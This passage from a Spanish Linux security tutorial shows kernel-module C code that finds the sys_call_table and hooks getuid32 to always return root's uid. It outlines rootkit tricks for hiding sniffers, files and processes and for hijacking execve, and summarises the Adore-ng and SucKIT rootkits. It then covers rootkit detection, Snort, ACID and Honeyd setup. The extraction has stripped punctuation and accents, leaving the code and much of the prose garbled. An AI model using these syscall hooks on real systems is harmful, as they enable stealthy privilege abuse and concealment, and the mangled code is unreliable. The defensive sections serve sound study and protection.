Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
